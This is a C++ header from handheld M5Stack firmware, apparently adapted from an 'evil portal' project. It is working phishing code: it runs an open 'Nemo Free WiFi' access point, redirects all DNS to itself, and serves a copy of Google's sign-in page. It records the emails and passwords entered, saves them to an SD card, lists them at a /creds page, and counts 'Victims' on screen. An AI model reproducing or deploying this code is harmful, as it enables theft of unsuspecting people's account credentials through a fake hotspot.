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portal.h
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// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which
// has iterative iprovements over my own stand-alone M5Stick Evil Portal.
// Retaining the Portuguese translations since this project has a large
// fan base in Brazil. Shouts to CyberJulio as well.
#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi"
#define SD_CREDS_PATH "/nemo-portal-creds.txt"
#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
#endif
#if defined(LANGUAGE_EN_US)
#define LOGIN_TITLE "Sign in"
#define LOGIN_SUBTITLE "Sign In With Google"
#define LOGIN_EMAIL_PLACEHOLDER "Email"
#define LOGIN_PASSWORD_PLACEHOLDER "Password"
#define LOGIN_MESSAGE "Please log in to browse securely."
#define LOGIN_BUTTON "Next"
#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
#elif defined(LANGUAGE_PT_BR)
#define LOGIN_TITLE "Fazer login"
#define LOGIN_SUBTITLE "Use sua Conta do Google"
#define LOGIN_EMAIL_PLACEHOLDER "E-mail"
#define LOGIN_PASSWORD_PLACEHOLDER "Senha"
#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
#define LOGIN_BUTTON "Avançar"
#define LOGIN_AFTER_MESSAGE "Fazendo login..."
#endif
int totalCapturedCredentials = 0;
int previousTotalCapturedCredentials = 0;
String capturedCredentialsHtml = "";
// Init System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer;
WebServer webServer(80);
void setupWiFi() {
Serial.println("Initializing WiFi");
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(apSsidName);
}
void setSSID(String ssid){
#if defined USE_EEPROM
Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length());
for(int i = 0; i < ssid.length(); i++) {
EEPROM.write(i + apSsidOffset, ssid[i]);
Serial.printf("%d:%d ", i+ apSsidOffset, ssid[i]);
}
EEPROM.write(apSsidOffset + ssid.length(), 0);
EEPROM.commit();
Serial.println("\ndone.");
#endif
apSsidName=ssid;
return;
}
void getSSID(){
String ssid="";
#if defined USE_EEPROM
if(EEPROM.read(apSsidOffset) < 32 || EEPROM.read(apSsidOffset) > 254){
Serial.println("SSID EEPROM Corrupt or Uninitialized. Using Defaults.");
apSsidName=DEFAULT_AP_SSID_NAME;
return;
}
for(int i = apSsidOffset; i < apSsidOffset + apSsidMaxLen; i++) {
int ebyte=EEPROM.read(i);
Serial.printf("%d:%d ", i, ebyte);
if(ebyte < 32 || ebyte > 254){
Serial.println("SSID: " + ssid);
apSsidName=ssid;
return;
}
ssid += char(ebyte);
}
#else
apSsidName=DEFAULT_AP_SSID_NAME;
#endif
return;
}
void printHomeToScreen() {
DISP.fillScreen(BLACK);
DISP.setSwapBytes(true);
DISP.setTextSize(MEDIUM_TEXT);
DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.setCursor(0, 0);
DISP.println("NEMO PORTAL");
DISP.setTextSize(SMALL_TEXT);
DISP.setTextColor(FGCOLOR, BGCOLOR);
DISP.printf("%s\n\n",apSsidName.c_str());
DISP.print("WiFi IP: ");
DISP.println(AP_GATEWAY);
DISP.println("Paths: /creds /ssid");
DISP.setTextSize(MEDIUM_TEXT);
DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.printf("Victims: %d\n", totalCapturedCredentials);
DISP.setTextColor(FGCOLOR, BGCOLOR);
}
String getInputValue(String argName) {
String a = webServer.arg(argName);
a.replace("<", "<");
a.replace(">", ">");
a.substring(0, 200);
return a;
}
String getHtmlContents(String body) {
String html =
"<!DOCTYPE html>"
"<html>"
"<head>"
" <title>"
+ apSsidName + "</title>"
" <meta charset='UTF-8'>"
" <meta name='viewport' content='width=device-width, initial-scale=1.0'>"
" <style>a:hover{ text-decoration: underline;} body{ font-family: Arial, sans-serif; align-items: center; justify-content: center; background-color: #FFFFFF;} input[type='text'], input[type='password']{ width: 100%; padding: 12px 10px; margin: 8px 0; box-sizing: border-box; border: 1px solid #cccccc; border-radius: 4px;} .container{ margin: auto; padding: 20px;} .logo-container{ text-align: center; margin-bottom: 30px; display: flex; justify-content: center; align-items: center;} .logo{ width: 40px; height: 40px; fill: #FFC72C; margin-right: 100px;} .company-name{ font-size: 42px; color: black; margin-left: 0px;} .form-container{ background: #FFFFFF; border: 1px solid #CEC0DE; border-radius: 4px; padding: 20px; box-shadow: 0px 0px 10px 0px rgba(108, 66, 156, 0.2);} h1{ text-align: center; font-size: 28px; font-weight: 500; margin-bottom: 20px;} .input-field{ width: 100%; padding: 12px; border: 1px solid #BEABD3; border-radius: 4px; margin-bottom: 20px; font-size: 14px;} .submit-btn{ background: #1a73e8; color: white; border: none; padding: 12px 20px; border-radius: 4px; font-size: 16px;} .submit-btn:hover{ background: #5B3784;} .containerlogo{ padding-top: 25px;} .containertitle{ color: #202124; font-size: 24px; padding: 15px 0px 10px 0px;} .containersubtitle{ color: #202124; font-size: 16px; padding: 0px 0px 30px 0px;} .containermsg{ padding: 30px 0px 0px 0px; color: #5f6368;} .containerbtn{ padding: 30px 0px 25px 0px;} @media screen and (min-width: 768px){ .logo{ max-width: 80px; max-height: 80px;}} </style>"
"</head>"
"<body>"
" <div class='container'>"
" <div class='logo-container'>"
" <?xml version='1.0' standalone='no'?>"
" <!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 20010904//EN' 'http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd'>"
" </div>"
" <div class=form-container>"
" <center>"
" <div class='containerlogo'><svg viewBox='0 0 75 24' width='75' height='24' xmlns='http://www.w3.org/2000/svg' aria-hidden='true' class='BFr46e xduoyf'><g id='qaEJec'><path fill='#ea4335' d='M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z'></path></g><g id='YGlOvc'><path fill='#34a853' d='M58.193.67h2.564v17.44h-2.564z'></path></g><g id='BWfIk'><path fill='#4285f4' d='M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z'></path></g><g id='e6m3fd'><path fill='#fbbc05' d='M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z'></path></g><g id='vbkDmc'><path fill='#ea4335' d='M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z'></path></g><g id='idEJde'><path fill='#4285f4' d='M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z'></path></g></svg></div>"
" </center>"
" <div style='min-height: 150px'>"
+ body + " </div>"
" </div>"
" </div>"
"</body>"
"</html>";
return html;
}
String creds_GET() {
return getHtmlContents("<ol>" + capturedCredentialsHtml + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>");
}
String index_GET() {
String loginTitle = String(LOGIN_TITLE);
String loginSubTitle = String(LOGIN_SUBTITLE);
String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER);
String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER);
String loginMessage = String(LOGIN_MESSAGE);
String loginButton = String(LOGIN_BUTTON);
return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/post' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
}
String index_POST() {
String email = getInputValue("email");
String password = getInputValue("password");
capturedCredentialsHtml = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + capturedCredentialsHtml;
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
#endif
return getHtmlContents(LOGIN_AFTER_MESSAGE);
}
String ssid_GET() {
return getHtmlContents("<p>Set a new SSID for NEMO Portal:</p><form action='/postssid' id='login-form'><input name='ssid' class='input-field' type='text' placeholder='"+apSsidName+"' required><button id=submitbtn class=submit-btn type=submit>Apply</button></div></form>");
}
String ssid_POST() {
String ssid = getInputValue("ssid");
Serial.println("SSID Has been changed to " + ssid);
setSSID(ssid);
printHomeToScreen();
return getHtmlContents("NEMO Portal shutting down and restarting with SSID <b>" + ssid + "</b>. Please reconnect.");
}
String clear_GET() {
String email = "<p></p>";
String password = "<p></p>";
capturedCredentialsHtml = "<p></p>";
totalCapturedCredentials = 0;
return getHtmlContents("<div><p>The credentials list has been reset.</div></p><center><a style=\"color:blue\" href=/creds>Back to capturedCredentialsHtml</a></center><center><a style=\"color:blue\" href=/>Back to Index</a></center>");
}
#if defined(M5LED)
void blinkLed() {
int count = 0;
while (count < 5) {
digitalWrite(M5_LED, LOW);
delay(500);
digitalWrite(M5_LED, HIGH);
delay(500);
count = count + 1;
}
}
#endif
void shutdownWebServer() {
Serial.println("Stopping DNS");
dnsServer.stop();
Serial.println("Closing Webserver");
webServer.close();
Serial.println("Stopping Webserver");
webServer.stop();
Serial.println("Setting WiFi to STA mode");
WiFi.mode(WIFI_MODE_STA);
Serial.println("Resetting SSID");
getSSID();
}
void setupWebServer() {
Serial.println("Starting DNS");
dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
Serial.println("Setting up Webserver");
webServer.on("/post", []() {
totalCapturedCredentials = totalCapturedCredentials + 1;
webServer.send(HTTP_CODE, "text/html", index_POST());
#if defined(STICK_C_PLUS)
SPEAKER.tone(4000);
delay(50);
SPEAKER.mute();
#elif defined(CARDPUTER)
//SPEAKER.tone(4000, 50); //Silent mode, just in case
#endif
DISP.print("Victim Login");
#if defined(M5LED)
blinkLed();
#endif
});
Serial.println("Registering /creds");
webServer.on("/creds", []() {
webServer.send(HTTP_CODE, "text/html", creds_GET());
});
Serial.println("Registering /clear");
webServer.on("/clear", []() {
webServer.send(HTTP_CODE, "text/html", clear_GET());
});
Serial.println("Registering /ssid");
webServer.on("/ssid", []() {
webServer.send(HTTP_CODE, "text/html", ssid_GET());
});
Serial.println("Registering /postssid");
webServer.on("/postssid", []() {
webServer.send(HTTP_CODE, "text/html", ssid_POST());
shutdownWebServer();
isSwitching=true;
current_proc=19;
});
Serial.println("Registering /*");
webServer.onNotFound([]() {
lastActivity = millis();
webServer.send(HTTP_CODE, "text/html", index_GET());
});
Serial.println("Starting Webserver");
webServer.begin();
}